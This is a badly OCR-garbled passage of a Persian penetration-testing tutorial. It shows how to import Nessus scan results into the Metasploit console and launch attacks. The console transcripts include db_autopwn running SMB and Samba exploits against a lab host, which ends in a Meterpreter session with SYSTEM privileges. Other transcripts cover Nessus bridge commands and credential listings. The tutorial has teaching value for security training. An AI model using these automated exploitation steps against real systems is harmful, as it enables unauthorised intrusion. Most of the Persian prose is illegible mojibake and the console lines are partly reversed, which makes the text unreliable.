oM s )9 03 AN+ 0393 el JHSAIS I3 2 L) iskel © i 7 NESSUS 51 i
e 195 (5wl (293 )l 33le 3 NESSUS asiyl eMS

NESSUS & aal) SIS -

ax LR ¢yl a5 suiuw (plso aST. i alFlas sla b =) sy Ly Plugin as RO
62955 2l a5 ap)ls PlUgin sis jusls Jbs s asiul b aspls S el ax b 33l IS

: 20 Joimwd b .2y 5 /UsH/local/lib/nessus/plugin

usr/local/lib/nessus/plugin/ cd #

Is #
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;oS p3lo 9, 1S )siws 5 axsy /usr/local/sbin sadss ay ) sws L L Y

usr/local/sbin/ cd #

Is #
1393 daalen o) o) sla Jold

nessus-mkcert nessus-update-plugins nessus-adduser
nessusd nessus-rmuser uninstall-nessus
zwo 53 Wid 9 Nessus-adduser 5 nessus-mkeert s nessusd il sal slaJols ool o Jl

PSP THO95 9) 250 bbb aw M .[osb

aS 5, Lola USEr K sl SoS a5 plgs oo 3T 50 o Lirownl Jl &5 ) sbyles : NESSUS-FMUSEr
A5 S 5) ealos 5 slml NEssUs-adduser b Ws

35 S i Sl 5) NESSUS Wlgsoo ) giws ¢yl KoS &y : uninstall-nessus

Ol A0 Mia AT S (58 el a3l ol gl 3pue 2l : NESSUS-Update-plugins
plugin 30 ol VS Leduwo L34S 50 odlaiwl 3u)1s 9 Salos )5 Selisls 9) NESSUS azuws L-,._‘_)';T
oslaiwl ) giwd pl JlaudS =dbys ) s sl pIugin ALl sl el oauh Alb 93 s sl
Plugin s oau «S3ls NESSUS.OFG clis as (ohal Jold 395 05 pgiwd b 9T hal b .aws e

Mk’o‘m ))Lo.mLSLQ

usr/local/sbin/nessus-update-plugins/ #
Losis CONNECEION e puw 45 an 95 L .auwiS Lyal 90 g ol HbSs slasan JSlaa aF ablb ¢ g5k

An sl Sew D giwd pl Ghal adn Selisls a0k a5 sa0as sl plugin Slasws 9 w6 il 4
DS Job slasids

iz @2l L) NESSUS I Jols” (ySsl 5y lompd 3 ol Sl 3y Js




Nessus : Untitled

File Help

generalfcp
generaliudp
ssh (22/cp)
fip (21/4cp)

http (B0/tcp)

netbios-ns (137/udp)
microsoft-ds (4454cp)
netbios-ssn (139/cp)

09/08/29 09:05:51 PM - New policy ..H Delete H Export...

Scan time :
Starttime : Sat Aug 29 21:05:52 2009
End time : Sat Aug 29 21:09:40 2009

192.168.2.113 2]

192.166.2.114 | | Number of vulnerabilities :

192.166.2.115

1921662116 " s - 6

192.166.2.117 = Open ports : -

< [« Low: 20 2
Filter... Stylesheet: |S{m By CVE -” View template...

Disconnect ‘

Sd > OPENVAs 5 NESSUS 133l o 55 95 10 Jl s pdy coamsT Sl malis Jold oag slsl Lo

235 50 1 NBE s »s0
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Sl s oll slxl a4 Jls s Jobd sl Lo Sl Jl asy msfconsole e 03 paiS (50

pals sledbl oaslss

pentest/exploits/framework3# ./msfconsole/:root@bt

db_create <msf
.Creating a new database instance [x]

Successfully connected to the database [x]
File: /root/.msf3/sqlite3.db [¥]

load db_tracker <msf
Successfully loaded plugin: db_tracker [x]

<msf

L Sibsiws soles NEIP ) guws jl oslaiwl b asy. P23 905 bzl 0313 ol K yuols Y L3 Lo
help <msf

.Ship..

Database Backend Commands

Description Command

Add one or more hosts to the database db_add_host
Add a note to host db_add_note

Add a port to host db_add_port

Automatically exploit everything db_autopwn
Connect to an existing database db_connect
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Create a brand new database db_create

Delete one or more hosts from the database db_del host

Delete one port from the database db_del port

Drop an existing database db_destroy

Disconnect from the current database db_disconnect
instance

Specify a database driver db_driver

List all hosts in the database db_hosts

Import a THC-Amap scan results file (-o - db_import_amap_mlog
(m

(Import a Nessus scan result file (NBE db_import_nessus_nbe
(Import a Nessus scan result file (NESSUS db_import_nessus_xml

(Import a Nmap scan results file (-oX db_import_nmap_xml

Executes nmap and records the output db_nmap
automatically

List all notes in the database db_notes

List all services in the database db_services

List all vulnerabilities in the database db_vulns
<msf

ol Jws & 5 db_import_nbe , siws Sl mls Sl 93 )5 3l 9 O awlsl sl ¢l mlis
"hOSES" L giws b Jobd s 03,5 b9 Sl Gy 203 5o 1) Jold mlis 0aub 0 B3 e gl
priSae ang QLT Sl G i 03 Jled LU jue

db_import_nessus_nbe /root/docs/115 scan.nbe <msf
hosts <msf

Time: Tue Jul 14 17:40:23 -0600 2009 Host: 192.168.1.115 [x]
Status: alive 0OS

SEIVICES ) giws Slyal L ol Sl 30y oS 038lite a5 w35y 0T Hlaiie Lo &5 (5 5 wlod Lisds
S aluslish by 003 8 (ySul a5 a8 )5 Jled by o oles el sine

services <msf
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Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x*]

host=192.168.1.115 port=135 proto=tcp state=up name=epmap
Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x*]

host=192.168.1.115 port=139 proto=tcp state=up name=netbios-ssn
Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x*]

host=192.168.1.115 port=445 proto=tcp state=up name=microsoft-
ds

Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x]

host=192.168.1.115 port=22 proto=tcp state=up name=ssh
Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x*]

host=192.168.1.115 port=137 proto=udp state=up name=netbios-ns
Time: Tue Jul 14 17:40:23 -0600 2009 Service: [x]

host=192.168.1.115 port=123 proto=udp state=up name=ntp

NESSUS ,iSwl louw g3 &5 2l (5 30 wTMﬁleUInS J9wd yioye dod )l 90,300 9
.ﬂwmﬁgﬁwm@@mdﬂ@)bl)mlcm&)lﬁ

vulns < msf
Vuln: host=192.168.1.115 port=22 Time: Tue Jul 14 17:40:23 -0600 2009 [%]

refs=NSS- proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.50282
Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: [%]1.3.6.1.4.1.25623.1.0.50282

name=NSS- host=192.168.1.115 port=445 proto=tcp
Time: [%]1.3.6.1.4.1.25623.1.0.11011 refs=NSS-1.3.6.1.4.1.25623.1.0.11011

host=192.168.1.115 port=139 :Tue Jul 14 17:40:23 -0600 2009 Vuln

refs=NSS- proto=tcp name=NSS-1.3.6.1.4.1.25623.1.0.11011
Time: Tue Jul 14 17:40:23 -0600 2009 Vuln: [%]11.3.6.1.4.1.25623.1.0.11011

name=NSS- host=192.168.1.115 port=137 proto=udp
refs=NSS-1.3.6.1.4.1.25623.1.0.10150,CVE- 1.3.6.1.4.1.25623.1.0.10150
:-Time: Tue Jul 14 17:40:23 -0600 2009 Vuln [x]1999-0621

host=192.168.1.115 port=445 proto=tcp name=NSS-
Time: [x]refs=NSS-1.3.6.1.4.1.25623.1.0.10394 1.3.6.1.4.1.25623.1.0.10394

Tue Jul 14 17:40:23 -0600 2009 Vuin: host=192.168.1.115 port=123
proto=udp



BACKBOX . BLACKBUNTU « BACKTRACK

aSub 3 Jlas sl g s - Jb 6l @) wslsa a5 db_autopwn ;i as bgs ye sl giws Y s

o3 ol b &S JAIS 6la (5 pds T 5

db_autopwn -h<msf
[Usage: db_autopwn [options [x]

h Display this help text-

t Show all matching exploit modules-

x Select modules based on vulnerability references-
p Select modules based on open ports-

e Launch exploits against all matched targets-

r Use a reverse connect shell-

b Use a bind shell on a random port-

q Disable exploit module output-

I [range] Only exploit hosts inside this range-

X [range] Always exclude hosts inside this range-

PI [range] Only exploit hosts with these ports open-
PX [range] Always exclude hosts with these ports open-

m [regex] Only run modules whose name matches the regex-

s, meterpreter Jlsl e s b pvoSae Juib wlss (50 345 (50 03Bl ) 2905 ) S (S 5w b

(P2

db_autopwn -x -e<msf
Launching exploit/multi/samba/nttrans against :(YA/A)[*]

.192.168.1.115:139

Launching exploit/windows/smb/psexec against :(YA/4)[*]
.192.168.1.115:445

Launching exploit/windows/smb/ms@6 066 nwwks against :(YA/\-)[x]
.192.168.1.115:445
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Exploit failed: The connection was refused by the remote [-]
(host (192.168.1.115:22

Launching exploit/windows/smb/ms@3 049 netapi against :(YA/Yd)[*]
.192.168.1.115:445

Started bind handler [x]

Exploit failed: No encoders encoded the buffer successfully [-]

<msf
Binding to 3d742890-397c-11cf-9bfl- [*]

..[00805f88cb72:1.0@ncacn_np:192.168.1.115[alert
Binding to 3919286a-b10c-11d0-9ba8- [*]
.[00c04fd92ef5:0.0@ncacn_np:192.168.1.115[1sarpc
Exploit failed: The server responded with error: [-]
(STATUS_ACCESS_DENIED (Command=162 WordCount=0
Exploit failed: The server responded with error: [-]
(STATUS_ACCESS_DENIED (Command=162 WordCount=0
Transmitting intermediate stager for over-sized [x]
(stage... (216 bytes

(Sending stage (718336 bytes [x]

<- Meterpreter session 1 opened (192.168.1.101:40814 [%]
AAYAZANNND:N EVQA

303 5o plits 1) diiuwd (o riws > a5 b wluds I i SSESION =l )i b

sessions -1<msf

Active sessions

VAPANZAN N0 EVAA <- Meterpreter 192.168.1.101:40814 \
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sessions -i 1<msf
.Starting interaction with 1 [%]

sysinfo <meterpreter
Computer: DOOKIE-FA154354

(0S : Windows XP (Build 2600, Service Pack 2

getuid <meterpreter
Server username: NT AUTHORITY\SYSTEM

Nessus Via Msfconsole

aubls ax 95 30b aules 13y Juasl alub )3 NESSUS )5 b @a)ls Sl 1wl Lo, g9 b (s
man in the middle alex jboa ysa paols Juasl gl s "OK" b, aslal & s Lo as il

SIS 399

load nessus <msf
Nessus Bridge for Nessus 4.2.X [*]

Type nessus_help for a command listing [+
Successfully loaded plugin: nessus [x]

nessus_help <msf
Nessus Help [+]

type nessus_help command for help with specific commands [+]

Help Text Command

Generic Commands
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Connect to a nessus server nessus_connect

Logout from the nessus server nessus_logout

Listing of available nessus commands nessus_help

Check the status of your Nessus Server nessus_server_status
Checks if user is an admin nessus_admin

Nessus Feed Type nessus_server_feed

Try to find vulnerable targets from a nessus_find_targets
report

Reports Commands

List all Nessus reports nessus_report list

Import a report from the nessus server nessus_report_get
in Nessus v2 format

Get list of hosts from a report nessus_report_hosts

Get list of open ports from a host nessus_report_host ports
from a report

Detail from a report item on a host nessus_report_host detail

Scan Commands

Create new Nessus Scan nessus_scan_new
List all currently running Nessus scans nessus_scan_status
.Ship..

D5 Jl bo cmdy (o piawd )3 &S (5 9w S0 » oSl sl Sl vus ¢l e
S oslauwl Nessus_policy_list

nessus_connect dook:s3cr3t@192.168.1.100 <msf
Warning: SSL connections are not verified in this release, [-]

it is possible for an attacker
with the ability to man-in-the-middle the Nessus traffic -]

to capture the Nessus
credentials. If you are running this on a trusted -]

'network, please pass in 'ok
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as an additional parameter to this command -]

nessus_connect dook:s3cr3t@192.168.1.100 ok <msf
Connecting to https://192.168.1.100:8834/ as dook [x]

Authenticated [*]
<msf

nessus_policy list <msf
Nessus Policy List [+]

visability Owner  Name ID

private dook the_works \

<msf

D953 Jl ouiS 50 03wl 353 50 5Lo Hudly Sl oslaiwl b NESSUS )3 (Swl S sl sl »
538 K 5 Sl sl b S, Swdly I ID o)leids 3 Jlss 4y NESSUS_SCan_new

nessus_scan_new <msf

Usage [x]

nessus_scan_new policy id scan name targets [*]

use nessus_policy list to list all available policies [*]

nessus_scan_new 1 pwnage 192.168.1.161 <msf
Creating scan from policy number 1, called "pwnage" and [x]

scanning 192.168.1.161
uid is 9d337e9b-82c7-89al1-a194- Scan started [x]

4ef154b82f624de2444e6adl18alf
<msf
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S 5o | )2l NESSUS_sCan_status ) siws Lo, oySawl e puiby 0323 Sl

nessus_scan_status <msf
Running Scans [+]

Status Started Owner Name Scan ID
Total Hosts Current Hosts

pwnage d337e9b-82c7-89al-al94-4ef154b82f624de2444e6ad1l8alfq

\ - running Sep 27 2010 \4:¥4 dook

:YOUu can [*]

nessus_report_get : Import Nessus report to database [+]
reportid

nessus_scan_pause scanid :Pause a nessus scan [+]

nessus_scan_status <msf
No Scans Running [x]

:YOU can [x]

nessus_report list List of completed scans [*]
nessus_scan_new policy id scan name .Create a scan [*]
(target(s

<msf

b G ol &5 3o o Sulos 0T s malis Sl )5S b JolS NESSUS (Sunl &5 olSiay

Soib 50 Gixe NESSUS_report_list ) giws

nessus_report list <msf
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Nessus Report List [+]

Date Status Name ID

pwnage d337e9b-82c7-89al-al94-4ef154b82f624de2444e6ad18alfq
Sep 27 2010 \4:¢Y completed

You can [x]

Get a list of hosts from the report [*]

nessus_report _hosts report id

nessus_report_get <msf

Usage [*]

nessus_report_get report id [*]

use nessus_report list to list all available reports for [*]

importing
nessus_report_get 9d337e9b-82c7-89al-al94- <msf
4eft154b82f624de2444e6ad18alf

importing 9d337e9b-82c7-89al-al9%4- [x]

4ef154b82f624de2444e6adl18alf
<msf

I ezl and 91 5 03y T 5 Ll jae eslgs 5o Lo OISl 035 3ol Jl 3= AT ) 5
25l ey p)ls

hosts -c address,vulns <msf

vulns address

¥Y 1AV AZAN NS

vulns <msf



Time:

Time:

Time:

Time:

Time:
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2010-09-28 ©1:51:37 UTC Vuln: host=192.168.1.161 [x*]
=port=3389 proto=tcp name=NSS-10940 refs
2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 [x*]
=port=1900 proto=udp name=NSS-35713 refs
2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 [x*]
=port=1030 proto=tcp name=NSS-22319 refs
2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 [x*]
=port=445 proto=tcp name=NSS-10396 refs
2010-09-28 ©1:51:38 UTC Vuln: host=192.168.1.161 [x*]

port=445 proto=tcp name=NSS-10860 refs=CVE-2000-1200,BID-

Time:

959,0SVvDB-714
2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 [x]

port=445 proto=tcp name=NSS-10859 refs=CVE-2000-1200,BID-

Time:

959,0SVDB-715
2010-09-28 01:51:39 UTC Vuln: host=192.168.1.161 [x]

port=445 proto=tcp name=NSS-18502 refs=CVE-2005-1206,BID-

Time:

13942,IAVA-2005-1t-0019
2010-09-28 01:51:40 UTC Vuln: host=192.168.1.161 [x]

port=445 proto=tcp name=NSS-20928 refs=CVE-2006-0013,BID-

Time:

16636,0SVDB-23134
2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161 [x]

port=445 proto=tcp name=NSS-35362 refs=CVE-2008-4834,BID-

31179,0SVDB-48153

Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161 [%]

.Ship..
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Using The Database
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pales S93xe 355 (sie il bl 1) ledbl ol yilss o Lo

o B

1
1
1
1
1
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Notes

e SDIOLL juo leMbl TID 93909 ole) o)l L3 (la Ab g 5 ubladh (S pw SO Vle yS (il
,ﬁgéobaa¢qﬂgkgup‘ﬁl);;&Mblugg)s;}4fgm}s)sﬁsm~:b,bnsJﬁh:bkﬂ;.AQ;

msf >
Time: Tue Nov 23 07:43:55 UTC 2010 Note: host=192.168.69.135 type=host.os.nmap f
Time: Tue Nov 23 07:43:56 UTC 2010 Note: host=192.168.69.135 type=host.last boot

Time: Tue Nov 23 07:54:48 UTC 2010 Note: host=192.168.69.135service=smb type=smk
nsf >

Services
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kS)ﬁig5}&3CAMJgstﬁkhth‘JQébkS)ﬁ)AAU)Q4S.Aﬂ‘Cf>ugofl&‘&?OJAT\;U»JQGDuﬂuolcﬁl
f%&b(uﬂmssgs\jLLQh53),H

msf >

Services

info

Microsoft Windows RPC

n

Windows XP Service Pack 2 (language: English) (name:V-

lighttpd 1.4.26
Samba smbd 3.X workgroup: WORKGROUP
Unix Samba 3.0.37 (language: Unknown) (domain:WORKGROU
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msf >
Usage: services [-h|--help] [-u|--up]

-a Search for a list of addresses

=G Only show the given columns

-h,--help Show this help information

-n  Search for a list of service names

= Search for a list of ports

=1 Only show [tcp|udp] services

-u, ——up Only show services which are up

Available columns: created at, info, name, port, proto, state, updated at

msf >

nsf >

Services

Host

Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) 192.168.

msf >




Vulns
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vulns -h )).I.L».)L_).)))T Sawds D w piws ) uwlie L g e I Gl plgs (S0 Six

msf >
Time:
Time:
Time:

: host=192.
: host=192.
: host=192.

.50 name=NSS- refs=
.50 port=445 proto=tcp r
.50 port=445 proto=tcp r

L
o

[ W W Y
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B DO DO

oo

bk ek
oo

o

(e ]

9.1 name=NSS-43067 refs=
}.69.1 name=NSS-45590 refs=
9.1 name=NSS-11936 refs=

N

: host=192.
: host=192.
: host=192.

(]

Time:

Time:

Time:
msf >

o

[ S T W
oy OY
0 O CD

-

DO BB
L

=

o

Creds
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Time: Tue Nov 23 09:28:24 UTC 2010 Credential: host=192.168.69.100 port=445 prot

>

Time: Tue Nov 23 09:28:24 UTC 2010 Credential: host=192.168.69
Found 1 credential.
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